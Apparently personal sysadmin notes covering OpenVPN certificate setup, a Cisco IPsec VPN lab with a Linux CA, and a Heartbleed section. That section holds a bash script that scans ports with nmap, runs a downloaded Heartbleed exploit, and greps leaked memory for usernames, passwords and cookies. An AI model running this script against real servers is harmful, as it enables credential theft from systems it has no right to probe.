# OpenVPN with x509 certificates

RSA key, CSR and DH parameter

# openssl genrsa -out server.key 2048
# openssl req -new -key server.key -out server.csr
# openssl genrsa -out client.key 2048
# openssl req -new -key client.key -out client.csr
# openssl dhparam -out dh2048.pem 2048

CA and signed certificates

# mkdir demoCA
# mkdir demoCA/private
# mkdir demoCA/newcerts
# echo '01' > demoCA/serial
# touch demoCA/index.txt
# openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
# mv cakey.pem demoCA/private/.
# cp cacert.pem demoCA/.
# openssl ca -in server.csr
# openssl ca -in client.csr
# cp demoCA/newcerts/01.pem server.pem
# cp demoCA/newcerts/02.pem client.pem

OpenVPN server configuration

# cat openvpn_server.conf
port 1194
proto udp
dev tun
ca cacert.pem
cert server.pem
key server.key
dh dh2048.pem
server 192.168.123.0 255.255.255.0
ifconfig-pool-persist ipp.txt
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# openvpn openvpn_server.conf

OpenVPN client configuration

# cat openvpn_client.conf
client
port 1194
proto udp
dev tun
ca cacert.pem
cert client.pem
key client.key
remote 1.2.3.4 1194
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# openvpn openvpn_client.conf

OpenVPN Android client configuration - Import profile

# cat openvpn_client.ovpn
client
port 1194
proto udp
dev tun
<ca>
// grep -A 100 'BEGIN CERTIFICATE' cacert.pem | grep -B 100 'END CERTIFICATE'
</ca>
<cert>
// grep -A 100 'BEGIN CERTIFICATE' client.pem | grep -B 100 'END CERTIFICATE'
</cert>
<key>
// grep -A 100 'BEGIN RSA PRIVATE KEY' client.key | grep -B 100 'END RSA PRIVATE KEY'
</key>
remote 1.2.3.4 1194
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# Import openvpn_client.ovpn

# Heartbleed

Affected OpenSSL versions

The affected versions of OpenSSL are OpenSSL 1.0.1 through 1.0.1f (inclusive).
Later versions (1.0.1g and ulterior) and previous versions (1.0.0 branch and older) are not vulnerable.
Installations of the affected versions are vulnerable unless OpenSSL was compiled with OPENSSL_NO_HEARTBEATS.

Scan and exploit

# ./hbse 127.0.0.1 # Interactive mode.
# ./hbse --scan 127.0.0.1 # No interactive mode. Scan only.
# ./hbse --exploit 127.0.0.1 # No interactive mode. Scan and exploit.

# cat hbse 
#!/bin/bash

### TCP ####

# 443  (HTTPS - HTTP over SSL)
# 465  (SMTPS - SMTP over SSL)
# 563  (NNTPS - NNTP over TLS/SSL)
# 636  (LDAPS - LDAP over TLS/SSL)
# 989  (FTPS Data - FTP Data over TLS/SSL)
# 990  (FTPS Control - FTP Control over TLS/SSL)
# 992  (Telnet over TLS/SSL)
# 993  (IMAPS - IMAP over SSL)
# 995  (POP3S - POP3 over SSL)
# 1194 (OpenVPN)
# 2484 (Oracle Database listening for SSL client)
# 5061 (SIP over TLS)
# 8443 (Apache Tomcat SSL)

### UDP ###

# 563  (NNTPS - NNTP over TLS/SSL)
# 636  (LDAPS - LDAP over TLS/SSL)
# 4433 (OpenSSL)

if [ $# -eq 1 ]; then
    ip="$1"
elif [ $# -eq 2 ]; then
    se="$1"
    ip="$2"
else
    exit
fi
nports="T:443,465,563,636,989,990,992,993,995,1194,2484,5061,8443,U:563,636,4433"

function print() {
    text="$1"
    color="$2"
    if [ "$color" == "gray" ]; then
        header="\e[38;5;250m"
    elif [ "$color" == "red" ]; then
        header="\e[91m"
    elif [ "$color" == "green" ]; then
        header="\e[92m"
    elif [ "$color" == "yellow" ]; then
        header="\e[93m"
    fi
    tail="\e[0m"
    echo -en $header$text$tail
}

print "Checking if $ip is vulnerable on port 443... " "gray"
vulnerable="`nmap -p T:443 -script ssl-heartbleed $ip | grep VULNERABLE`"

if [ "$vulnerable" != "" ]; then
    print "Yes\n" "green"
    print "Checking if it is vulnerable on other ports... " "gray"
    vports="`nmap -p $nports -script ssl-heartbleed $ip | grep -B 2 VULNERABLE: | grep open | awk -F'/' '{print $1}'`"
    n="`echo "$ports" | wc -l`"
    if [ "$n" == 1 ]; then 
        print "No\n" "red"
        w1="port"
        w2="it"
        w3="file"
    else
        print "Yes\n" "green"
        w1="ports"
        w2="them"
        w3="files"
    fi
    print "Vulnerable $w1:\n" "gray"
    print "$vports\n" "green"
    if [ "$se" == "--scan" ]; then exit
    elif [ "$se" == "--exploit" ]; then
        answer="Y"
    else
        print "Do you want to exploit $w2? [Yn] " "gray"
        read answer
    fi
    if [ "$answer" = "Y" ]; then
        print "Exploit: dumping 64KB on vulnerable $w1...\n" "gray"
        exec 3<<< "$vports"
        while read port <&3; do
            print "+ Port [$port]\n" "gray"
            ofile="$ip.$port"
            if [ -f $ofile ]; then rm -f $ofile; fi
            if [ "$port" == "465" ]; then
                precmd='-c 0'
            elif [ "$port" == "993" ]; then
                precmd='-c 2'
            elif [ "$port" == "995" ]; then
                precmd='-c 1'
            else
                precmd=''
            fi
            ./heartbleed -s $ip -p $port -f $ofile $precmd -t 1 > /dev/null 2>&1
            if [ -f $ofile ]; then
                r="`strings $ofile | grep -i -e user -e pass -e login -e auth -e cookie -e basic`"
                print "$r\n" "green"
                if [ "$se" != "--exploit" ]; then
                    print "Do you want to less the hexdump file? [Yn] " "gray"
                    read answer
                    if [ "$answer" = "Y" ]; then
                        hexdump -C $ofile | less
                    fi
                fi
            else
                print "Error: heartbleed did not work on port $port...\n" "yellow"
            fi
        done
        if [ "$se" != "--exploit" ]; then
            print "Do you want to delete the hexdump $w3? [Yn] " "gray"
            read answer
            if [ "$answer" = "Y" ]; then
                rm -f $ip.*
            fi
        fi
    fi
else
    print "No\n" "red"
fi

Requirements

# apt-get install nmap
# wget --no-check-certificate https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
# mv ssl-heartbleed.nse /usr/share/nmap/scripts/.
# wget http://nmap.org/svn/nselib/tls.lua
# mv tls.lua /usr/share/nmap/nselib/.
# wget -O heartbleed.c http://www.exploit-db.com/download/32791
# gcc heartbleed.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto

# Site-to-site IPsec VPN with certificates

Topology

[PC-1]----[ROUTER-1]----[ROUTER-2]----[PC-2]

[PC-1] eth0: 192.168.1.1/24

[ROUTER-1] fa0/1: 192.168.1.254/24
[ROUTER-1] fa0/0: 12.12.12.1/24

[ROUTER-2] fa0/0: 12.12.12.2/24
[ROUTER-2) fa0/1: 192.168.2.254/24

[PC-2] eth0: 192.168.2.1/24

Certificate signing request (CSR)

ROUTER-1# clock set 21:00:00 7 Oct 2012
ROUTER-1(config)# hostname router-1
router-1(config)# ip domain-name lab.net
router-1(config)# crypto pki trustpoint INCAWETRUST
router-1(ca-trustpoint)# enrollment terminal pem
router-1(ca-trustpoint)# fqdn router-1.lab.net
router-1(ca-trustpoint)# subject-name C=ES, ST=CAT, O=CAnet, OU=Engineering, CN=router-1.lab.net
router-1(ca-trustpoint)# revocation-check none
router-1(ca-trustpoint)# rsakeypair router-1.lab.net 1024
router-1(config)# crypto key zeroize rsa
router-1(config)# crypto key generate rsa general-keys label router-1.lab.net export modulus 1024
router-1(config)# crypto pki enroll INCAWETRUST
% Start certificate enrollment .. 

% The subject name in the certificate will include: C=ES, ST=CAT, O=CAnet, OU=Engineering, CN=router-1.lab.net
% The subject name in the certificate will include: router-1.lab.net
% Include the router serial number in the subject name? [yes/no]: no
% Include an IP address in the subject name? [no]: no
Display Certificate Request to terminal? [yes/no]: yes
Certificate Request follows:

-----BEGIN CERTIFICATE REQUEST-----
MIIB3jCCAUcCAQAwfTEZMBcGA1UEAxMQcm91dGVyLTEubGFiLm5ldDEUMBIGA1UE
CxMLRW5naW5lZXJpbmcxDjAMBgNVBAoTBUNBbmV0MQwwCgYDVQQIEwNDQVQxCzAJ
BgNVBAYTAkVTMR8wHQYJKoZIhvcNAQkCFhByb3V0ZXItMS5sYWIubmV0MIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDJGnpad++Ll/2DdGumYJWYnBxT2uWySlq
/5RBhpKigyDWg/1WEBfxc92ImdKuz438GXoLW+r6SXwJkeszvsFuKqKNfdt5zC8y
ZCcAQzWhM6RL36UQKhRZXq+kBGGhDyTIDBx8hgOEuC9SnK6ACapvPmR2Y738TBSx
La005oVIUwIDAQABoCEwHwYJKoZIhvcNAQkOMRIwEDAOBgNVHQ8BAf8EBAMCBaAw
DQYJKoZIhvcNAQEEBQADgYEAeKhsFhdbcyX9CKEVxagQeF7bomWfc7YR04AMM0u1
t6iZJixHbADJQ1fa8LFjP/MbkRA2KwqHxtGN/D0uhyqE/vAfwslMV/Mm8l9c2iOC
HfzzV2bhQW9FpDcHyJSmmScINh1pZieczCiVAH+LGQVI2VkxY/CKEsqXUb2mQShZ
QlA=
-----END CERTIFICATE REQUEST-----

---End - This line not part of the certificate request---

Redisplay enrollment request? [yes/no]: no

ROUTER-2# clock set 21:02:00 7 Oct 2012
ROUTER-2(config)# hostname router-2
router-2(config)# ip domain-name lab.net
router-2(config)# crypto pki trustpoint INCAWETRUST
router-2(ca-trustpoint)# enrollment terminal pem
router-2(ca-trustpoint)# fqdn router-2.lab.net
router-2(ca-trustpoint)# subject-name C=ES, ST=CAT, O=CAnet, OU=Engineering, CN=router-2.lab.net
router-2(ca-trustpoint)# revocation-check none
router-2(ca-trustpoint)# rsakeypair router-2.lab.net 1024
router-2(ca-trustpoint)# crypto key generate rsa general-keys label router-2.lab.net export modulus 1024
router-2(config)# crypto pki enroll INCAWETRUST
% Start certificate enrollment .. 

% The subject name in the certificate will include: C=ES, ST=CAT, O=CAnet, OU=Engineering, CN=router-2.lab.net    
% The subject name in the certificate will include: router-2.lab.net
% Include the router serial number in the subject name? [yes/no]: no
% Include an IP address in the subject name? [no]: no
Display Certificate Request to terminal? [yes/no]: yes
Certificate Request follows:

-----BEGIN CERTIFICATE REQUEST-----
MIIB3jCCAUcCAQAwfTEZMBcGA1UEAxMQcm91dGVyLTIubGFiLm5ldDEUMBIGA1UE
CxMLRW5naW5lZXJpbmcxDjAMBgNVBAoTBUNBbmV0MQwwCgYDVQQIEwNDQVQxCzAJ
BgNVBAYTAkVTMR8wHQYJKoZIhvcNAQkCFhByb3V0ZXItMi5sYWIubmV0MIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQCp+XYSYBFz1iBJEoXSvWjslMSmClPGULuu
VbOnKme8SkWUKbwUUKzP73nSSzMQy1bJqmRaNv2ZKBL/7fmRqUcEKL6mFLaz7i9w
hpUieO65QLEaW1O9skMuwZziwgzR/rbPx+AyZg/3qI6WLKm/NayDZK102fcFuD95
LCYx4AdwPQIDAQABoCEwHwYJKoZIhvcNAQkOMRIwEDAOBgNVHQ8BAf8EBAMCBaAw
DQYJKoZIhvcNAQEEBQADgYEAAmwl6OdFYzRzPmnFgeqC7unXOtpWNwccQs0CTAna
EdKu+dtGB3wEruGciASOTJZGX33Y+p4SmXdNDk50Bvpc8pqMveDuLbDASeeJmQqo
Wzjv6FZ3r+/qf1xJwSXVhsE4K53XOfaoU4Wb+DTyyHskyqU+GkcJujIa7wTNEoHK
Uf8=
-----END CERTIFICATE REQUEST-----

---End - This line not part of the certificate request---

Redisplay enrollment request? [yes/no]: no

CA configuration

LINUX-CA# mkdir /etc/ssl/CA
LINUX-CA# mkdir /etc/ssl/newcerts
LINUX-CA# echo '01' > /etc/ssl/CA/serial
LINUX-CA# touch /etc/ssl/CA/index.txt
LINUX-CA# cat /etc/ssl/openssl.cnf
...
[ CA_default ]

dir             = /etc/ssl
database        = $dir/CA/index.txt
certificate     = $dir/certs/cacert.pem
serial          = $dir/CA/serial
private_key     = $dir/private/cakey.pem
...
string_mask = default
...

LINUX-CA# openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
Generating a 1024 bit RSA private key
...................++++++
................++++++
writing new private key to 'cakey.pem'
Enter PEM pass phrase:MY_SECRET
Verifying - Enter PEM pass phrase:MY_SECRET
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:ES
State or Province Name (full name) [Some-State]:CAT
Locality Name (eg, city) []:BCN
Organization Name (eg, company) [Internet Widgits Pty Ltd]:CAnet
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:canet.lab.net
Email Address []:root@lab.net

LINUX-CA# mv cakey.pem /etc/ssl/private/.
LINUX-CA# mv cacert.pem /etc/ssl/certs/.
LINUX-CA# cat /etc/ssl/certs/cacert.pem
-----BEGIN CERTIFICATE-----
MIICqjCCAhOgAwIBAgIJANGQlt8Z5+XTMA0GCSqGSIb3DQEBBQUAMG4xCzAJBgNV
BAYTAkVTMQwwCgYDVQQIEwNDQVQxDDAKBgNVBAcTA0JDTjEOMAwGA1UEChMFQ0Fu
ZXQxFjAUBgNVBAMTDWNhbmV0LmxhYi5uZXQxGzAZBgkqhkiG9w0BCQEWDHJvb3RA
bGFiLm5ldDAeFw0xMjEwMDcxOTAzMjZaFw0yMjEwMDUxOTAzMjZaMG4xCzAJBgNV
BAYTAkVTMQwwCgYDVQQIEwNDQVQxDDAKBgNVBAcTA0JDTjEOMAwGA1UEChMFQ0Fu
ZXQxFjAUBgNVBAMTDWNhbmV0LmxhYi5uZXQxGzAZBgkqhkiG9w0BCQEWDHJvb3RA
bGFiLm5ldDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1f6Y35sevFE14T33
5oRwMrCIZ8b6c2kLd1M9CqJqVlc0Ru37k/PLm4RmIy+d45JpL5GizuUn1XtAWI1N
/rdO8FrAKQ0SNNTRgT3MeJJX9iWbYcWj6atgntxxY5fLHszbXyohxnQieFjgq6oz
PuKXTEO3jIQhe+yZtg4fhbT/BN0CAwEAAaNQME4wHQYDVR0OBBYEFAV3rWlHkgVi
SgywgAlUCwqJL/3IMB8GA1UdIwQYMBaAFAV3rWlHkgViSgywgAlUCwqJL/3IMAwG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAxSnlrZhAMH0FmTMlXVGlzWa1
Rf/8Q8TJ+bA3Z6LwaaPQb/+9oAnF7MVsLnhbWd7XEyn1AM7qxgrlhFidRMKFnoJq
cEevAM2hBbsxaE1EA0eWycsM/z8rA4Flnp8IKo/Wds0+L64FqRDjTfsBfcbRiCem
Nsick9kDj2oiDw+f6mY=
-----END CERTIFICATE-----

Signing CSR

LINUX-CA# cat router-1.csr
-----BEGIN CERTIFICATE REQUEST-----
MIIB3jCCAUcCAQAwfTEZMBcGA1UEAxMQcm91dGVyLTEubGFiLm5ldDEUMBIGA1UE
CxMLRW5naW5lZXJpbmcxDjAMBgNVBAoTBUNBbmV0MQwwCgYDVQQIEwNDQVQxCzAJ
BgNVBAYTAkVTMR8wHQYJKoZIhvcNAQkCFhByb3V0ZXItMS5sYWIubmV0MIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDJGnpad++Ll/2DdGumYJWYnBxT2uWySlq
/5RBhpKigyDWg/1WEBfxc92ImdKuz438GXoLW+r6SXwJkeszvsFuKqKNfdt5zC8y
ZCcAQzWhM6RL36UQKhRZXq+kBGGhDyTIDBx8hgOEuC9SnK6ACapvPmR2Y738TBSx
La005oVIUwIDAQABoCEwHwYJKoZIhvcNAQkOMRIwEDAOBgNVHQ8BAf8EBAMCBaAw
DQYJKoZIhvcNAQEEBQADgYEAeKhsFhdbcyX9CKEVxagQeF7bomWfc7YR04AMM0u1
t6iZJixHbADJQ1fa8LFjP/MbkRA2KwqHxtGN/D0uhyqE/vAfwslMV/Mm8l9c2iOC
HfzzV2bhQW9FpDcHyJSmmScINh1pZieczCiVAH+LGQVI2VkxY/CKEsqXUb2mQShZ
QlA=
-----END CERTIFICATE REQUEST-----
LINUX-CA# openssl ca -in router-1.csr -config /etc/ssl/openssl.cnf
Using configuration from /etc/ssl/openssl.cnf
Enter pass phrase for /etc/ssl/private/cakey.pem:MY_SECRET
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 1 (0x1)
        Validity
            Not Before: Oct  7 19:05:16 2012 GMT
            Not After : Oct  7 19:05:16 2013 GMT
        Subject:
            countryName               = ES
            stateOrProvinceName       = CAT
            organizationName          = CAnet
            organizationalUnitName    = Engineering
            commonName                = router-1.lab.net
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                81:DF:AB:0F:C0:6B:31:4B:08:5E:6D:86:11:26:9C:90:85:F5:83:8F
            X509v3 Authority Key Identifier: 
                keyid:05:77:AD:69:47:92:05:62:4A:0C:B0:80:09:54:0B:0A:89:2F:FD:C8

Certificate is to be certified until Oct  7 19:05:16 2013 GMT (365 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=ES, ST=CAT, L=BCN, O=CAnet, CN=canet.lab.net/emailAddress=root@lab.net
        Validity
            Not Before: Oct  7 19:05:16 2012 GMT
            Not After : Oct  7 19:05:16 2013 GMT
        Subject: C=ES, ST=CAT, O=CAnet, OU=Engineering, CN=router-1.lab.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:c3:24:69:e9:69:df:be:2e:5f:f6:0d:d1:ae:99:
                    82:56:62:70:71:4f:6b:96:c9:29:6a:ff:94:41:86:
                    92:a2:83:20:d6:83:fd:56:10:17:f1:73:dd:88:99:
                    d2:ae:cf:8d:fc:19:7a:0b:5b:ea:fa:49:7c:09:91:
                    eb:33:be:c1:6e:2a:a2:8d:7d:db:79:cc:2f:32:64:
                    27:00:43:35:a1:33:a4:4b:df:a5:10:2a:14:59:5e:
                    af:a4:04:61:a1:0f:24:c8:0c:1c:7c:86:03:84:b8:
                    2f:52:9c:ae:80:09:aa:6f:3e:64:76:63:bd:fc:4c:
                    14:b1:2d:ad:34:e6:85:48:53
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                81:DF:AB:0F:C0:6B:31:4B:08:5E:6D:86:11:26:9C:90:85:F5:83:8F
            X509v3 Authority Key Identifier: 
                keyid:05:77:AD:69:47:92:05:62:4A:0C:B0:80:09:54:0B:0A:89:2F:FD:C8

    Signature Algorithm: sha1WithRSAEncryption
         84:65:11:b5:db:df:f4:ce:d5:3c:d7:a4:d3:10:b8:cc:d5:c5:
         35:c3:7e:95:e6:d2:0b:e2:a9:0e:f6:b4:e7:a4:00:f4:0b:d2:
         04:a3:b1:bc:ba:44:4d:6a:a9:a2:f2:84:ea:5b:70:97:52:46:
         1b:fd:86:74:7f:75:88:50:6e:10:59:c5:20:84:a6:b4:8f:59:
         30:7f:8c:a7:7e:13:60:85:de:5a:a4:8f:ce:05:ba:7c:c6:84:
         fd:10:d0:86:c0:f3:b6:49:02:da:7b:9c:29:c8:8a:d9:7d:c3:
         d1:51:cd:0e:f4:b1:4a:2d:6c:26:16:06:ba:19:c2:79:8e:3f:
         e3:4e
-----BEGIN CERTIFICATE-----
MIICuzCCAiSgAwIBAgIBATANBgkqhkiG9w0BAQUFADBuMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQwwCgYDVQQHEwNCQ04xDjAMBgNVBAoTBUNBbmV0MRYwFAYD
VQQDEw1jYW5ldC5sYWIubmV0MRswGQYJKoZIhvcNAQkBFgxyb290QGxhYi5uZXQw
HhcNMTIxMDA3MTkwNTE2WhcNMTMxMDA3MTkwNTE2WjBcMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQ4wDAYDVQQKEwVDQW5ldDEUMBIGA1UECxMLRW5naW5lZXJp
bmcxGTAXBgNVBAMTEHJvdXRlci0xLmxhYi5uZXQwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAMMkaelp374uX/YN0a6ZglZicHFPa5bJKWr/lEGGkqKDINaD/VYQ
F/Fz3YiZ0q7PjfwZegtb6vpJfAmR6zO+wW4qoo1923nMLzJkJwBDNaEzpEvfpRAq
FFler6QEYaEPJMgMHHyGA4S4L1KcroAJqm8+ZHZjvfxMFLEtrTTmhUhTAgMBAAGj
ezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVk
IENlcnRpZmljYXRlMB0GA1UdDgQWBBSB36sPwGsxSwhebYYRJpyQhfWDjzAfBgNV
HSMEGDAWgBQFd61pR5IFYkoMsIAJVAsKiS/9yDANBgkqhkiG9w0BAQUFAAOBgQCE
ZRG129/0ztU816TTELjM1cU1w36V5tIL4qkO9rTnpAD0C9IEo7G8ukRNaqmi8oTq
W3CXUkYb/YZ0f3WIUG4QWcUghKa0j1kwf4ynfhNghd5apI/OBbp8xoT9ENCGwPO2
SQLae5wpyIrZfcPRUc0O9LFKLWwmFga6GcJ5jj/jTg==
-----END CERTIFICATE-----
Data Base Updated

LINUX-CA# cat router-2.csr
-----BEGIN CERTIFICATE REQUEST-----
MIIB3jCCAUcCAQAwfTEZMBcGA1UEAxMQcm91dGVyLTIubGFiLm5ldDEUMBIGA1UE
CxMLRW5naW5lZXJpbmcxDjAMBgNVBAoTBUNBbmV0MQwwCgYDVQQIEwNDQVQxCzAJ
BgNVBAYTAkVTMR8wHQYJKoZIhvcNAQkCFhByb3V0ZXItMi5sYWIubmV0MIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQCp+XYSYBFz1iBJEoXSvWjslMSmClPGULuu
VbOnKme8SkWUKbwUUKzP73nSSzMQy1bJqmRaNv2ZKBL/7fmRqUcEKL6mFLaz7i9w
hpUieO65QLEaW1O9skMuwZziwgzR/rbPx+AyZg/3qI6WLKm/NayDZK102fcFuD95
LCYx4AdwPQIDAQABoCEwHwYJKoZIhvcNAQkOMRIwEDAOBgNVHQ8BAf8EBAMCBaAw
DQYJKoZIhvcNAQEEBQADgYEAAmwl6OdFYzRzPmnFgeqC7unXOtpWNwccQs0CTAna
EdKu+dtGB3wEruGciASOTJZGX33Y+p4SmXdNDk50Bvpc8pqMveDuLbDASeeJmQqo
Wzjv6FZ3r+/qf1xJwSXVhsE4K53XOfaoU4Wb+DTyyHskyqU+GkcJujIa7wTNEoHK
Uf8=
-----END CERTIFICATE REQUEST-----
LINUX-CA# openssl ca -in router-2.csr -config /etc/ssl/openssl.cnf
Using configuration from /etc/ssl/openssl.cnf
Enter pass phrase for /etc/ssl/private/cakey.pem:MY_SECRET
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 2 (0x2)
        Validity
            Not Before: Oct  7 19:06:24 2012 GMT
            Not After : Oct  7 19:06:24 2013 GMT
        Subject:
            countryName               = ES
            stateOrProvinceName       = CAT
            organizationName          = CAnet
            organizationalUnitName    = Engineering
            commonName                = router-2.lab.net
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                58:C3:3C:F3:1D:8C:D3:02:3A:83:AF:8B:C6:BD:7F:48:B8:54:3A:0A
            X509v3 Authority Key Identifier: 
                keyid:05:77:AD:69:47:92:05:62:4A:0C:B0:80:09:54:0B:0A:89:2F:FD:C8

Certificate is to be certified until Oct  7 19:06:24 2013 GMT (365 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 2 (0x2)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=ES, ST=CAT, L=BCN, O=CAnet, CN=canet.lab.net/emailAddress=root@lab.net
        Validity
            Not Before: Oct  7 19:06:24 2012 GMT
            Not After : Oct  7 19:06:24 2013 GMT
        Subject: C=ES, ST=CAT, O=CAnet, OU=Engineering, CN=router-2.lab.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:a9:f9:76:12:60:11:73:d6:20:49:12:85:d2:bd:
                    68:ec:94:c4:a6:0a:53:c6:50:bb:ae:55:b3:a7:2a:
                    67:bc:4a:45:94:29:bc:14:50:ac:cf:ef:79:d2:4b:
                    33:10:cb:56:c9:aa:64:5a:36:fd:99:28:12:ff:ed:
                    f9:91:a9:47:04:28:be:a6:14:b6:b3:ee:2f:70:86:
                    95:22:78:ee:b9:40:b1:1a:5b:53:bd:b2:43:2e:c1:
                    9c:e2:c2:0c:d1:fe:b6:cf:c7:e0:32:66:0f:f7:a8:
                    8e:96:2c:a9:bf:35:ac:83:64:ad:74:d9:f7:05:b8:
                    3f:79:2c:26:31:e0:07:70:3d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                58:C3:3C:F3:1D:8C:D3:02:3A:83:AF:8B:C6:BD:7F:48:B8:54:3A:0A
            X509v3 Authority Key Identifier: 
                keyid:05:77:AD:69:47:92:05:62:4A:0C:B0:80:09:54:0B:0A:89:2F:FD:C8

    Signature Algorithm: sha1WithRSAEncryption
         55:06:3f:87:2a:2b:a3:a4:e3:c9:c2:26:34:f5:e6:36:d0:52:
         08:41:4b:0c:34:48:b9:9e:2d:b6:ad:33:02:a3:2c:84:78:ed:
         a5:9c:f3:cf:1e:6b:6a:da:58:93:d4:22:25:91:37:44:5b:84:
         76:40:e4:b1:55:94:1d:70:55:ce:06:c3:7e:2d:0f:b7:51:63:
         fc:74:1f:e4:34:4f:38:45:16:8e:bd:fe:36:7b:c0:ba:97:ce:
         97:d5:0e:16:1b:a4:46:e1:a8:3a:5f:77:a7:9b:c4:3c:e5:78:
         58:d4:5f:f5:c6:91:05:5a:b5:2c:93:8b:c1:65:f3:45:6f:0f:
         7f:22
-----BEGIN CERTIFICATE-----
MIICuzCCAiSgAwIBAgIBAjANBgkqhkiG9w0BAQUFADBuMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQwwCgYDVQQHEwNCQ04xDjAMBgNVBAoTBUNBbmV0MRYwFAYD
VQQDEw1jYW5ldC5sYWIubmV0MRswGQYJKoZIhvcNAQkBFgxyb290QGxhYi5uZXQw
HhcNMTIxMDA3MTkwNjI0WhcNMTMxMDA3MTkwNjI0WjBcMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQ4wDAYDVQQKEwVDQW5ldDEUMBIGA1UECxMLRW5naW5lZXJp
bmcxGTAXBgNVBAMTEHJvdXRlci0yLmxhYi5uZXQwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAKn5dhJgEXPWIEkShdK9aOyUxKYKU8ZQu65Vs6cqZ7xKRZQpvBRQ
rM/vedJLMxDLVsmqZFo2/ZkoEv/t+ZGpRwQovqYUtrPuL3CGlSJ47rlAsRpbU72y
Qy7BnOLCDNH+ts/H4DJmD/eojpYsqb81rINkrXTZ9wW4P3ksJjHgB3A9AgMBAAGj
ezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVk
IENlcnRpZmljYXRlMB0GA1UdDgQWBBRYwzzzHYzTAjqDr4vGvX9IuFQ6CjAfBgNV
HSMEGDAWgBQFd61pR5IFYkoMsIAJVAsKiS/9yDANBgkqhkiG9w0BAQUFAAOBgQBV
Bj+HKiujpOPJwiY09eY20FIIQUsMNEi5ni22rTMCoyyEeO2lnPPPHmtq2liT1CIl
kTdEW4R2QOSxVZQdcFXOBsN+LQ+3UWP8dB/kNE84RRaOvf42e8C6l86X1Q4WG6RG
4ag6X3enm8Q85XhY1F/1xpEFWrUsk4vBZfNFbw9/Ig==
-----END CERTIFICATE-----
Data Base Updated

LINUX-CA# ls -l /etc/ssl/newcerts
total 8
-rw-r--r-- 1 root root 3104 oct  7 21:05 01.pem
-rw-r--r-- 1 root root 3104 oct  7 21:06 02.pem

Importing CA certificate

router-1(config)# crypto pki authenticate INCAWETRUST

Enter the base 64 encoded CA certificate.
End with a blank line or the word "quit" on a line by itself

-----BEGIN CERTIFICATE-----
MIICqjCCAhOgAwIBAgIJANGQlt8Z5+XTMA0GCSqGSIb3DQEBBQUAMG4xCzAJBgNV
BAYTAkVTMQwwCgYDVQQIEwNDQVQxDDAKBgNVBAcTA0JDTjEOMAwGA1UEChMFQ0Fu
ZXQxFjAUBgNVBAMTDWNhbmV0LmxhYi5uZXQxGzAZBgkqhkiG9w0BCQEWDHJvb3RA
bGFiLm5ldDAeFw0xMjEwMDcxOTAzMjZaFw0yMjEwMDUxOTAzMjZaMG4xCzAJBgNV
BAYTAkVTMQwwCgYDVQQIEwNDQVQxDDAKBgNVBAcTA0JDTjEOMAwGA1UEChMFQ0Fu
ZXQxFjAUBgNVBAMTDWNhbmV0LmxhYi5uZXQxGzAZBgkqhkiG9w0BCQEWDHJvb3RA
bGFiLm5ldDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1f6Y35sevFE14T33
5oRwMrCIZ8b6c2kLd1M9CqJqVlc0Ru37k/PLm4RmIy+d45JpL5GizuUn1XtAWI1N
